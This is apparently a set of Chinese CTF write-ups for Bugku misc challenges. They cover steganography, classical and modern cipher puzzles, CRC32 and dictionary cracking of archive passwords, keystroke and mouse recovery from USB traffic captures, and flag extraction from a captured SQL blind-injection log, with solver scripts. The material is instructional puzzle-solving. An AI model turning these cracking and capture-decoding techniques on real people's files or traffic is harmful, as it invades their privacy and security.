棋盘是flag的密码
题目描述也提示了,这个是古精灵语密码,对照得到棋盘的压缩包密码:bugkupasswd
解密第二个压缩包得到关键图片
右键查看属性获得提示,base58解密得到不用去找密码表啦题目就是
下面还有三串代码,拼在一起后base58解密得到白棋提了哪些黑棋呢
查了一下围棋的基本规则,这里需要找到被白棋吃掉的黑子的空位,位置如下,得到最后一个压缩包的密码goodctfer
(测试后发现是小写)
1G 2O 3O 4D 5C 6T 7F 8E 9R
得到图片flag-height.jpg
,这里的height提示的是修改图片高度(010editor真的好用)
下载得到一个怪怪的png图片,用winhex打开发现IHDR块没有报CRC错误,应该是被修改过
用binwalk分离出一个压缩包文件,内含五个加密的文本文件
注意到pass1、pass2、pass3均为四字节,直接crc32爆破,连在一起得到Awsd2021mzy0
,但是这个密码显示错误,考虑到还有一个图片真实crc32.txt
,猜想密码还有一段在里面
我的做法就比较简单粗暴了,因为是6字节,我就直接用crc32-master
爆破
C:\Users\17422\Desktop\解题\脚本\crc32碰撞\crc32-master>python3 crc32.py reverse 0x59f1d4be
4 bytes: {0xde, 0x9f, 0xfd, 0x06}
verification checksum: 0x59f1d4be (OK)
alternative: 2KHAZK (OK)
alternative: 9070yo (OK)
alternative: FRzUbd (OK)
alternative: GNt8xi (OK)
alternative: I1WyA7 (OK)
alternative: NXl6nL (OK)
alternative: PzWHOM (OK)
alternative: WcPvef (OK)
alternative: YlOFYh (OK)
alternative: aDNRsJ (OK)
alternative: c5fqG_ (OK)
alternative: oKQbOD (OK)
alternative: pudqtH (OK)
alternative: uq8An2 (OK)
这么多个结果挨个试,结果第二个就试出来了hhh,密码是Awsd2021mzy09070yo
,然后就得到flag了
做完回头去看了八神的wp,发现正经步骤如下:
注意 图片真实crc32.txt 这一文件,其文件大小为6,但十六进制形式的CRC32值应该有8位。考虑一种可能性,即PNG图片IHDR块的真实CRC校验位(在此暂不考虑PNG内其它数据块如IDAT块等的CRC校验位)和该txt文件的CRC32值是一致的,均为0x59F1D4BE,尝试在此基础上爆破图片的宽和高:
import zlib
import struct
# 同时爆破宽度和高度
filename = 'C:/Users/Administrator/Desktop/file.png'
with open(filename, 'rb') as f:
all_b = f.read()
data = bytearray(all_b[12:29])
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = zlib.crc32(data)
if crc32result == 0x59F1D4BE:
print("宽为:", end = '')
print(width, end = ' ')
print(int.from_bytes(width, byteorder='big'))
print("高为:", end = '')
print(height, end = ' ')
print(int.from_bytes(height, byteorder='big'))
结果得到原图的高和宽均为511
,crc32值为59F1D4BEh
,改完之后扫描图片中的二维码得到提示
pass4为crc32爆破出90开头那一个
binwalk分析发现图片内有7z文件
volcano@kali:~/桌面$ binwalk file.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image directory: 8
14873 0x3A19 Copyright string: "Copyright (c) 1998 Hewlett-Packard Company"
47022 0xB7AE 7-zip archive data, version 0.4
直接binwalk -e无果,于是手动把文件剥离除了,发现需要解压密码;尝试过后,把图片高度改到500,得到解压密码bugku666
得到flag.rar和密码.txt:
MuS4que9l+mprOeLrOijgeiAheaMh+aMpeedgOS4gOmYn+e8luWPt+S4umFiY2TnmoTln7rlm6DnqoHlj5jnmoTnvZfpqazni6zoo4HogIXmnaXmipPogIHpqazvvIzmlLvnv7vkuoY25Liq5pyJ5oqk5qCP55qE5Z+O5aKZ77yM54S25ZCO5LuW5Lus6aG65Yip55qE5oqT5Yiw5LqG6ICB6ams44CC5bm25b6X5Yiw5LiA5Liy5a2X56ym77yab2Vtc294ZXBkank
base64解密后得到
2个罗马独裁者指挥着一队编号为abcd的基因突变的罗马独裁者来抓老马,攻翻了6个有护栏的城墙,然后他们顺利的抓到了老马。并得到一串字符:oemsoxepdjy
这句话信息量可大了…
罗马独裁者
指的是凯撒大帝,对应凯撒
基因突变的罗马独裁者
对应变异凯撒
有护栏的城墙
对应W形栅栏
解密步骤
①2个罗马独裁者→位移数为2的凯撒密码
解密得到mckqmvcnbhw
②编号为abcd的基因突变的罗马独裁者→秘钥为abcd的某种凯撒变种密码
,测试后发现是维吉尼亚密码
解密得到mbinmuakbgu
③攻翻了6个有护栏的城墙→栏数为6的w型栅栏密码
解密得到mimabugkunb
前两步可以用bugku在线工具,第三步需要换在线工具
所以压缩包密码bugkunb
,解压得到flag.txt:
U2FsdGVkX190Qzuyvdil3MZ9LQUzBbQaXJNzVFBzcAf5CzdvUZ5wdQ==
虽然是==结尾,base64解密无果,还是做题太少了,借鉴八神的wp,确定这个是密钥为E=MC²的DES密码
,关于这个秘钥也是从图片中得到的,我也没弄出来…
使用CaptfEncoder解密
下载得到一个bs64gua.png,放在Stegsolve里分析发现有lsb隐写痕迹,于是提取保存
png文件头前面多余部分删去,得到分辨率为48*48的png图片
之前就解到这个地方卡住了,对着这样一张图确实没啥思路…一直就扔着没看了,直到前几天的DJBCTF,八神师傅又出了一个碑寺六十四卦
,整体思路和这题类似,但是比这题简单,那题解出来的图片如下(忘记存图了,直接用Mumuzi师傅的图了)
很显然,DJB这个题把空余部分的空白删去,再把白色的细线删去,紧凑在一起,就和bugku这题的题如出一辙了,其实知道了原理,剩下的就很简单了,可以把图片一块块分割开来,分别解出对应数字,再转ascii,也可以写脚本,我写的就很繁琐了,这里贴上八神的脚本:
from PIL import Image
img = Image.open('C:/Users/Administrator/Desktop/1.png')
def check(x, y):
p = img.getpixel((x, y))
if p == 0:
return '1'
if p == 255:
return '0'
res = ''
for y in range(8):
for x in range(8):
for l in range(6):
res += check(6*x+2, 6*y+l)
print(res)
得到一串二进制
010110100110110101111000011010000101101000110011011101000101001001100001010101110100011001110101010110000011000001110100001100010110001001101100001110010101010101100100010101110011010101100110010101000101011101010110011101010101101000110001001110010101100101100100010101100011100101010100011000100011001000110101011011100101100000110001010011100110111101100001010110000011000000111101
先转为十六进制,再转ascii,然后base64解码得到flag
下载得到
先看注意事项.txt
:
截图的时候没截好所以图片中有个200%,不要在意哈(怕你们被迷惑了)。下次我注意
还有就是,这只小猫咪,它,瞎了。
(py3)
第一个就是说作者失误多截了一个200%,不要被误导,后两个提示暂时看不出来具体指什么,压缩包是加密的,先研究小猫咪.jpg
,用010editor打开,发现文件头有问题
这是一个png文件,在最前面套上了jpg格式的文件头,将其修复
binwalk分析得知这张图片里还隐写了另一张图片,foremost分离出来两张相似的图片
这个时候结合注意事项.txt
的后两个提示,小猫咪瞎了是指盲水印
,py3
是因为常用的那个盲水印工具有py2和py3两个版本,这里指定py3的
使用盲水印工具处理,注意,两个图片的顺序调换,解出的图片不一样,建议两种顺序都试试
D:\盲水印\BlindWaterMark-master>python3 bwmforpy3.py decode 00000000.png 00000657.png 1.png
image<00000000.png> + image(encoded)<00000657.png> -> watermark<1.png>
解出图片得到密码:wowblind
解压缩包得到加密的flag.zip和password.txt:
萌新专属RSA:
已知R=65537
N=21321423135312411313
求出来十进制d就是解压密码
出题人后面解释了,这个R是打错了,应该是e=65537
,很基础的rsa,先到http://factordb.com/把n分解成p=2930371
、q=7276014926203
,然后用RSAtools解出d=1653347504416359113
解密得到flag.txt
NGZlbmNl
eW91IG5lZWR+
VGhhbmsgeW91
Zm9yIGJlaW5n
YWJsZSB0b4++
ZG8gdGhpc5++
c3RlcC6+
VGhlIGRpZmZpY3VsdGllc3++
YWhlYWQgc2hvdWxk
bm90IGJlIGRpZmZpY3VsdH++
Zm9yIHRob3Nl
d2hvIGNhbk++
ZG8ndGhpcyBzdGVwLn++
Tm93IGl0J3MgSmFudWFyeV++
MTUgb2YgdGhl
MjFzdCB5ZWFyLn++
SWYgeW91IGFyZb++
bHVja3kgZW5vdWdo
dG8gc2VlIHRoZT++
d2hvbGUgcGFzc2FnZQ++
YmVmb3JlIHRoZW++
bmV3IHllYXIs
SSB3aXNoIHlvdT++
YSBoYXBweW++
bmV3JHllYXJ+
aW6gYWR2YW5jZS6+
SW4gYWRkaXRpb24s
SSB3aWxsIHdyaXRl
YSBxdWVzdGlvbiBhYm91dG++
c29jaWFsIGVuZ2luZWVyaW5n
b24nYnVna3Und2hlbn++
dGhlIG5ldyB5ZWFy
aXMnY29taW5nLn++
SSBob3BlIHlvdV++
aGF2ZSBh
Z29vZCB0aW1l
QnkgdGhlIHdheSx+
SSdtIGErbmV3IENURmVyLr++
SSBhbHNv
d2FudCB0b9++
d29yayBzaWRlIGJ5
c2lkZSB3aXRo
dGhlIGRhbGFvLn++
SSBjYW1lIGludG8g
Y29udGFjdCB3aXRo
c1RGIHdoZW4gSc++
d2VudCB0byB0aGX+
Q29sbGVnZSBpbiAyMDIwLj++
SSBob3BlIHdl
Y2FuIGFsbH++
d29yayB0b2dldGhlct++
SSB3b25kZXJ+
aWYgc29tZW9uZSB3aWxsIK++
cmVhbGx5IHRyYW5zbGF0ZSD+
dGhpcyBwYXNzYWdl
YW5kIGVpZ2h0IGdvZG++
dGhpbmsgaXQgaXN+
dGhlIGVhc2llc3Q+
bWlzYyBxdWVzdGlvbn++
Zm9yIGhl
YnVna3U2Ni++
很眼熟,应该是base64隐写
,不过把=
换成+
了,我的做法是把+
换成=
,然后base64隐写解密
得到
应该是w型栅栏,前段时间做题的时候接触过,在线解密(栏数为4)得到flag,记得把首字母大写
下载得到一个mp3格式的文件,用010editor打开发现尾部有额外数据和一段hint:
foremost分离出一个压缩包,内含三个文件
分析mp3文件,先用audacity打开,结果报错打不开,于是使用Adobe Audition查看频谱图,发现这个位置不太一样
放大后发现是beaufort-cipher
,这个一种加密,应该是后面会遇到的
然后分析流量包,打开发现都是USB的流量,参考文章学习导出usb流量的命令
执行命令
┌──(volcano㉿kali)-[~/桌面]
└─$ tshark -r whereiskey.pcapng -T fields -e usb.capdata | sed '/^\s*$/d'
将导出的数据保存在usb.txt中:
因为网上找到的脚本大部分都是有冒号的,所以先写个小脚本填上冒号,得到out.txt
这里附上我从网上py来的脚本
normalKeys = {
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"" ,"29":"" ,"2a":"", "2b":"\t","2c":"" ,"2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"" ,"33":";","34":"'","35":"" ,"36":",","37":".","38":"/","39":"" ,"3a":"" ,"3b":"" , "3c":"" ,"3d":"" ,"3e":"" ,"3f":"" ,"40":"" ,"41":"" ,"42":"" ,"43":"" ,"44":"" ,"45":"" }
shiftKeys = {
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"" ,"29":"" ,"2a":"", "2b":"\t","2c":"" ,"2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"" ,"33":"\"","34":":","35":"" ,"36":"<","37":">","38":"?","39":"" ,"3a":"" ,"3b":"" , "3c":"" ,"3d":"" ,"3e":"" ,"3f":"" ,"40":"" ,"41":"" ,"42":"" ,"43":"" ,"44":"" ,"45":"" }
output = []
keys = open('out.txt')
for line in keys:
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
print("".join(output))
for i in range(len(output)):
try:
a=output.index('')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="" :
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
运行后得到
thk<DEL>epe<DEL>asy<DEL>swoi<DEL>rds<DEL>notu<DEL>hes<DEL>reb<DEL>?6<DEL>
output :thepasswordnothere?
这里要结合描述.txt一起看,这里的意思是删除了的才是重要的
上面的
是删除,一共删除的内容是keyisusb6
,直接拿这个去解密压缩包不对,只用其中一部分也不是,回过头发现前面有两个个提示还没用:beaufort-cipher
和mp3文件尾部的那串密文
解密得到压缩包密码happyeveryday
,然后得到flag
描述: webp
这个题真是挺折磨的,下载得到三个文件
其中hint.png其实不是图片,是一段文本信息,其中要解密的如下
8:V5Y:7,Y,3MU=$8D:D%11&9O6BY .G,M
说实话这个看了挺久不知道是啥,然后打开CaptfEncoder
挨个试吧(菜狗)
发现uuencode解密后得到keyis91;utF$jAQDfoZ.@:s-
注意了,这里就开始ex了,我直接拿91;utF$jAQDfoZ.@:s-
去解压显示密码错误,然后又分段使用还是错误,其实要把后面这些拿去base85解密一次(整吐了)
得到key:Camouflage
,这个不是压缩包的密码,先放着,去看sapphire .jpg
,常规隐写套路查看了一圈没得到线索,这里应该就是题目名所说的善用工具了,反正我是没找到…最后在别的师傅的提示下知道是Free_File_Camouflage
解出一个docx文档,取消隐藏文字看到解压密码XiAo_1U
,解压缩包,改文件后缀为webp
百度一下webp隐写查到一个解密工具stegpy
:
直接pip3 install stegpy
即可完成安装
使用stegpy解密得到flag
D:\Python38>stegpy C:\Users\xxxxx\Desktop\csgo.webp
bugku{rea1ly_miss_yoU}
下载得到Cattle.jpg
,foremost分离出一个加密的压缩包11549.zip
,压缩包的密码就是文件名那五位数,然后多层套娃,和攻防世界的Miscellaneous-300
很像,可以用那题的脚本
没细数,好像是套了将近1000层,最后得到bugku.zip
(2314.zip的密码是bugku)
题目提示的是rockyou文件,应该是一个字典或者文件里有密码的提示,但是我没找到…我先是尝试爆破,跑了一会没跑出来,然后尝试用我的密码字典爆破,结果一秒出…
压缩包密码letsgetiton
,解压得到一张和Cattle.jpg
长得一样的图片,我第一反应是盲水印,后来才发现文件尾就放着flag,作者好像打错字母了…
下载得到一个扭转乾坤.png,一同分析后,用Stegsolve
打开时发现有lsb隐写痕迹,提取出来内容
分析上半部分的十六进制内容
直接放在winhex里看不出东西
此时突然发现最后八位数是4030B405
,倒过来是504B0304
,正好是zip文件的文件头,于是把整段文本倒序再放到winhex里保存为1.zip,打开,这里我用winrar打开时报错,用7z和360压缩可以正常打开,不知道是什么原因
打开得到注意事项.txt:
内容开头为字母(即bugku)
lost:
前3后1
和flag128.png
直接扫,发现报错,应该是条形码被改动过需要修复
结合提示知道,前面缺了三条,后面缺了一条,与bugku{
和}
的条形码对比
然后手动修复…
扫码得到flag
提示:隐藏文字,Zero width
压缩包的注释信息中有解压密码的hint
this is password:
y 20 p m 12 9 c 1
pay attention:
alphabet(lower case)—>num
num—>alphabet(capital letter)
/no hint more happiness/
根据提示需要把小写字母转换为数字,数字转换为大写字母,转换结果是:25 T 16 13 L I 3 A
,把空格删去就是压缩包的密码了
解出的压缩包也是加密的,显然要分析流量包得到密码,发现都是usb的流量
先用tshark命令提取数据:
┌──(volcano㉿kali)-[~]
└─$ tshark -r secret.pcapng -T fields -e usb.capdata | sed '/^\s*$/d' >1.txt #删去多余空格和换行,并保存在1.txt中
这里其实是鼠标流量,和上次的键盘流量明显不一样
这里也是嫖的脚本
nums = []
keys = open('out.txt','r')
posx = 0
posy = 0
for line in keys:
if len(line) != 13:
continue
x = int(line[4:6],16)
y = int(line[6:8],16)
if x > 127 :
x -= 256
if y > 130 :
y -= 265
posx += x
posy += y
btn_flag = int(line[2:4],16)
if btn_flag == 1: # 1 for left , 2 for right , 0 for nothing
print posx ,posy
keys.close()
解出来的结果是一个个坐标
使用gnuplot作图(红框里的是正确命令)
没有gnuplot的可以执行命令安装:sudo apt-get install gnuplot
解出来的这个图看起来及其别扭…猜想需要翻转一下,我是用word进行翻转的
这下能认出密码N65t92c8
,解出一个有几个小故事的牛年大吉.txt
和加密的压缩包,但其实这几个小故事只是一个幌子,用winhex打开牛年大吉.txt
,发现很多零宽字符
于是在linux下使用vim命令打开txt文件,可以看到其中隐藏的零宽度字符
使用在线工具解密:
base62解密得到password:happyoxday
解压得到的棋盘-入门.jpg
中分离出一个压缩包,解压得到密码本
不愧是棋圣(套娃)师傅!在棋盘图片中标出落子位置,对照密码本得到密码htpchbar
得到和一个txt文件
这个很明显是Aztec Code
,google到一个在线解码网站,直接扫描得到flag
描述 : Conway’s Game of Life
下载得到几个加密文件,其中四个txt文件均不大于6字节,可以爆破出来,它们的文件名解出来都是数字,应该是它们的位置,即爆破出四段文本按照正确顺序排列得到解压密码
正常跑会出来很多结果,从里面挑选有意义的出来,例如
最后得到解压密码:bugku_youareprettygood
然后看next zip passwd.png
这里有两种思路,结合这里的提示,可以知道每一个图下一个状态对应的数字就是密码,也就是说密码是九位数字
,可以直接爆破;
正常解法就是结合题目描述里的提示找到在线工具,先清空画面,再照着给的图片点亮格子保持一致
然后点击单步演化
,数格子得到密码(第一个图演化结果是空的,对应0)为:012369849
解压得到flag.exe和一passwd and mark=0.jpg
,用winhex打开flag.exe,发现它其实是一个压缩包,改后缀为zip
,需要密码
用winhex打开jpg,发现文件尾部有额外数据(png图片的base64形式)
使用在线工具,得到一张残缺的二维码
二维码的在线修复网站,结合jpg文件名的提示,需要修改如下
花了几分钟补完的结果,扫码得到a1s2d3f4g5
解压得到flag
压缩包中有两个文件,但是在解压的时候报错,用010editor打开,运行模板时报错
同时发现文件尾部是504B
,说明这是一个zip文件,把文件头修改为504B0304
后可以解压出压缩包和一个图片
U1S1,这个东西真没见过,拍照识图也没找到,最后还是其他师傅提示的:这是 《精灵宝可梦》 中的精灵未知图腾
,拥有28种形态
终究是吃了没文化的亏 ,这个动漫我没看过…对照上图得到另一个压缩包的密码whereisflag
然后得到加密的压缩包和层层加密.txt
:
00111 1010 00001 0 11110 00011 100 100 11100 00111 11111 1000 1010 01 01 1000 100 00000 00000 00111 0 11000 00001 00000 11000 1000 10000 11110 11111 11100 0010 10000
国王把明文撒了盐之后交给士兵,士兵在途中经过了两个交叉的篱笆地才将密文传交给摩斯侦探。
根据描述可知解密的第一层是摩斯密码
,第二层是栏数为2的栅栏密码
,第三层的加盐指的是md5算法
第一步,把1换成- 把0换成. 莫斯密码解密得到
2C4E93DD820BCAABD552E7457B6908F6
第二步,经过反复测试,发现是连续解密两次 栏数为2的普通栅栏,我找的在线网站得出的结果md5解密均得不出值,最后是在CaptfEncoder里解出的
298CDE70C32A57B84D0A546FEDBB2596
第三步,[md5解密](https://www.somd5.com/)即可
得到密码: PassW0rd
MTM4NDAwMjE4MTYxNTg5Nzc2ODk2NzcxOTYyMTQzMTgzMzcwNjU0Njg0NDU1MTk4MzcwOTk3ODA3NDU1MDUzMjI1OTc5MTI2Mj
UxMDM4MjY3MDU5NzU4OTQ0MzAxNTQ2Nzg0OTU2MTY1NTUxMTQ4MDMxNzE4MDg4NzM4ODA1MzgyNDgyOTE0MTEwMTA5MzMxNTI4Mzg0OTI4OTM5MzgxMjg3MzA2MDE4NjExNDEyNTE2ODM4MzcyNjUzMzkz
将两端文字拼在一起,base64解密得到:
138400218161589776896771962143183370654684455198370997807455053225979126251038267059758944301546784956165551148031718088738805382482914110109331528384928939381287306018611412516838372653393
就我的做题经验而言,一长串十进制数可以转十六进制后再转ASCII字符
,也可以以某种规律转换为坐标然后画图
,或者转为二进制后画出一张二维码
。
前两种方法试了行不通,转为二进制数后发现长度是625
,即25*25,然后试着转为二维码
import PIL
from PIL import Image
MAX = 25 #图片边长
img = Image.new("RGB",(MAX,MAX))
str="1111111001110111001111111100000100001101010100000110111010011100101010111011011101010110000101011101101110101010111010101110110000010011001101010000011111111010101010101111111000000000100101000000000011000111011010110000110001000000010100001010111100001011110101100111110011100101101001100101010010111000101011100100101101001111110000110101011110011010000010010001011100001111000010011101010110001100101110101000111011111010100000000110001101000110001111111011001100101010101100000101111001110001100010111010011100011111101111011101001101111011010011101110100010011010010010110000010100011010011110011111111011011100101010001"
i = 0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
img.putpixel([x,y],(0, 0, 0))
else:
img.putpixel([x,y],(255,255,255))
i = i+1
img.show()
img.save("flag.png")
扫码得到flag
下载得到3个文件
预期解法应该是根据图片写出脚本,把混淆过的二维码恢复,我发现照着password.png
也能看出原本的二维码大概长啥样
手动修复得到
扫码得到IXE1VDYmMjk=
,base64解码得到压缩包密码!q5T6&29
从password.png
中foremost分离出压缩包,解压得到文本内容如下
目前知道这是背包加密
,翅膀师傅的博客有提到,具体解法再研究一下…
这题是八神出的,致敬套娃带师Mumuzi
用winhex打开图片,发现有两个jpg的文件头,手动把第二个FFD8FFE0直到结尾的数据提取出来,另存为一个jpg文件。
发现得到的新图片和原图看起来好像一样,于是用Stegsolve
打开新得到的图片,依次查看图层可以看到flag,一个图层看不清可以尝试其他的
flag{Mumuzi_the_God_of_Matryoshka}
下载得到一串像是十六进制的文本
EF81B5EF81B3EF81A9EF81AEEF81A7EF80A0EF8193EF81B9EF81B3EF81B4EF81A5EF81ADEF80BB0A0AEF81AEEF81A1EF81ADEF81A5EF81B3EF81B0EF81A1EF81A3EF81A5EF80A0EF8183EF81AFEF81AEEF81B3EF81AFEF81ACEF81A5EF8181EF81B0EF81B0EF80B10AEF81BB0AEF80A0EF80A0EF80A0EF80A0EF81A3EF81ACEF81A1EF81B3EF81B3EF80A0EF8190EF81B2EF81AFEF81A7EF81B2EF81A1EF81AD0AEF80A0EF80A0EF80A0EF80A0EF81BB0AEF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF81B3EF81B4EF81A1EF81B4EF81A9EF81A3EF80A0EF81B6EF81AFEF81A9EF81A4EF80A0EF818DEF81A1EF81A9EF81AEEF80A8EF81B3EF81B4EF81B2EF81A9EF81AEEF81A7EF819BEF819DEF80A0EF81A1EF81B2EF81A7EF81B3EF80A90AEF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF81BB0AEF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF8183EF81AFEF81AEEF81B3EF81AFEF81ACEF81A5EF80AEEF8197EF81B2EF81A9EF81B4EF81A5EF818CEF81A9EF81AEEF81A5EF80A8EF80A2EF8182EF81B5EF81A7EF81ABEF81B5EF81BBEF8197EF80B0EF81B2EF81A4EF819FEF80B1EF81B3EF819FEF81B4EF81A8EF81A5EF819FEF81A2EF81A5EF80B5EF81B4EF819FEF8189EF8184EF8185EF81BDEF80A1EF80A2EF80A9EF80BB0A0AEF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF80A0EF81BD0AEF80A0EF80A0EF80A0EF80A0EF81BD0AEF81BD
转字符,得到一堆阴间字符(后面发现这个在线网站不行)
这个怪怪的题目名肯定是某种提示,百度闹酒狂欢
没有线索,回想起上次做棋圣师傅的题,于是把题目名翻译成英文wingding
,再次百度,发现这是一种字体,word中就有
测试了几次,发现两种方法:
先到在线网站把hex转str,然后新建一个word文档,把得到的结果复制进去,字体换成SansSerif
,得到
前面步骤一样,最后一步把字体换成Webdings
,然后把结果复制,放到qq的对话框里,得到
阿狸师傅的题,之前放在ctfshow平台的,当时也在群里也看到了狸师傅给的提示
用stegsolve打开,在Red和Green通道的最低位发现
先写个小脚本确认左边这一块的宽度为80,高度为715;同时发现R通道和G通道的值基本是0或1,但是有少部分其他数字,结合原图中的“绿肥红瘦”是提示G通道取余后的值大于R通道取余后的值
,这是一个条件,满足则值为1,不满足则值为0
脚本:
from PIL import Image
img = Image.open('file.png')
f=open("1.txt","w")
flag=""
for i in range(80):#从左到右
for j in range(715):#从上往下
x=img.getpixel((i,j))
if x[0]%2 < x[1]%2:
flag+="1"
else:
flag+="0"
if len(flag)==8:
s=hex(int(flag,2))[2:].zfill(2)#如果hex的结果为0xd,不加zfill()函数的话写入的是d,但是写入0d才是正确的,zfill()函数可以补前面的0
f.write(s)
flag=""
f.close()
将得到的十六进制转为png图片即可得到flag
下载得到一个sql盲注的流量包,导出http对象,大小为704byte的包是正确的,将其全部导出
我本来是想把这些包全部保存,然后写脚本提取出flag的…后来发现好像直接看更快
flag:flag{e62d3da86fe34a83bbfbdb9d3177a641}
先把HTTP对象全部导出,存于一文件夹下
然后脚本直接梭
# -*- coding: utf-8 -*-
# @Time : 2021/3/20
# @Author : volcano
import os
from urllib.parse import unquote
import re
def getflag():
getname()
flag=""
l=[]
d={
}
renum=re.compile(r'\d+') #re库用的不熟,大佬们直接就一个正则解决问题,我菜鸡只能搞的复杂一点
f=open("name.txt","r").readlines()
for line in f:
line = line[4:] #排除第一个=的影响
if "substr" in line and "=" in line: #判断盲注结果是否正确
l=renum.findall(line)
if l[1] == "2":
d[int(l[3])]=chr(int(l[5]))
for i in range(len(d)):
flag += d[i+1]
return flag
def getname():
filePath = r'C:\Users\Desktop\123' #存放导出的http流的文件夹
f = open("name.txt", "w")
for a, b, c in os.walk(filePath):
for i in c:
f.write(unquote(i, 'utf-8')) #url解码
f.write("\n")
f.close()
if __name__ == '__main__':
print("flag is:",getflag())
用010editor打开得到的jpg,在尾部发现大量数据
继续翻看,发现其中有ahu.rar
、hint.txt
、key.png
三个文件,并且出现了很多个7z,根据之前做题的经验(参考题目Find me
)
把下列7个位置的数据改成504B
,再把修改后的数据导出,新建为一个zip文件
hint.txt:
5Y+k6ICB55qE5paH5a2X
base64解密得到: 古老的文字
key.png:
这个是甲骨文里的数字,对照图标得到压缩包密码:14582978
拿到一个bmp,先用stegslove查看,没有线索,然后尝试wbs43open
解密出的文件放在winhex里分析,初看像是一堆乱码
尝试搜索flag、key等关键字,找到key:988%^&*cool
不得不说,有套神内味了
这里是AES加密,在线解密的时候出了点问题,于是用openssl
解密
解出的内容,音符解密在线网站
∮♩§∮♫♯∮♪♬∮♪∮∮♫♯∮♫‖∮♩‖∮♪♩∮♫♬∮♫♬∮¶♬∮♫♬∮♭§∮¶♬∮♩§∮♪♩∮¶§∮♫♯∮♫§∮♪♯∮¶♭♪‖∮∮∮¶∮¶♬§¶♬∮♪♭∮♪♫∮¶♬∮♭♯∮♪♭∮♫§∮♪♩∮♫¶∮♪♩∮♫♬♪‖♪§¶♯∮♪♭∮♪♬∮♩∮§==
♬§¶♪¶♪¶♯♯=
这里有一个坑点,直接解密的话会得到一堆乱码,因为这里其实是两条加密信息,看结尾的=
也能分辨出来
先无密码解密第二条,得到第一条的密码cool
,再解密第一条
拿到flag
题目给了一串由1和0组成的字符串,猜想是转二维码,直接转得到的二维码不完整,扫不出来。
手动改,得到
1111111001110010001111111100000100001111010100000110111010011100010010111011011101010111100001011101101110101010101000101110110000010011000101010000011111111010101010101111111000000000100000110000000011000111011101101000110000001000010110010010010100010011110100001110111001100111101001010110010010011000001001100001001101000111100011111101110010100010110111110011011111101111000110110010010101101100100011110011111111111011100000000101100011000101001111111010010100101010001100000101010101010001100110111010001001111111100101011101000011001011110111101110100100110010010000110000010110000110110110011111111011010000101110101
然后转二维码
import PIL
from PIL import Image
MAX = 25 #图片边长
img = Image.new("RGB",(MAX,MAX))
str='1111111001110010001111111100000100001111010100000110111010011100010010111011011101010111100001011101101110101010101000101110110000010011000101010000011111111010101010101111111000000000100000110000000011000111011101101000110000001000010110010010010100010011110100001110111001100111101001010110010010011000001001100001001101000111100011111101110010100010110111110011011111101111000110110010010101101100100011110011111111111011100000000101100011000101001111111010010100101010001100000101010101010001100110111010001001111111100101011101000011001011110111101110100100110010010000110000010110000110110110011111111011010000101110101'
i = 0
for y in range (0,MAX):
for x in range (0,MAX):
if(str[i] == '1'):
img.putpixel([x,y],(0, 0, 0))
else:
img.putpixel([x,y],(255,255,255))
i = i+1
img.show()
img.save("flag.png")
再扫描即可得到flag
这题也可以去在线网站手动拼出正确的二维码
随便翻了一下,发现好像是Minecraft
的存档文件,虽然这个游戏我不玩…
根据题目名,找到一款工具NBTExplorer
然后用这个工具打开level.dat
具体位置如下(flag在玩家的书中最后一页,Inventory 里面就是玩家背包内的物品)
翻到下面就可以看到flag
这个师傅可喜欢下棋了,一口气出了好多跟围棋相关的题
下载得到一个加密的压缩包和有提示信息的txt:
你喜欢下棋吗?
解压密码为小写
4423244324433534315412244543
这里的话是棋盘密码的一种–波利比奥斯方阵密码
用在线工具解密(秘钥随便填),得到thisispolybius
解出的flag.txt:
一种5bit的编码
bugku里面的内容为小写
bugku{11111 11001 00011 00111 01001 11011 10110 11111 10000 01110 11011 10110 11111 01001 00001}
这个是博多码,对照表格即可
给了一串长度为35的字符串
bci177a7a9c7udf69c248647b4dfc6fd84o
md5值由0-9和a-f组成,长度为32,删去多余的三个字符得到
bc177a7a9c7df69c248647b4dfc6fd84
md5在线解密即可
下载得到一个文本文件,很明显是base64转图片
解出的图片如下,使用猪圈密码解密在线工具得到flag
下载得到一个文本
bugku{PLGTGBQHM}
其中A=1,flag全为小写
和图片
由题目提示可知这是希尔(hill)密码,解密在线工具
一般情况下的字母表是abcdefghijklmnopqrstuvwxyz
,A对应0、B对应1
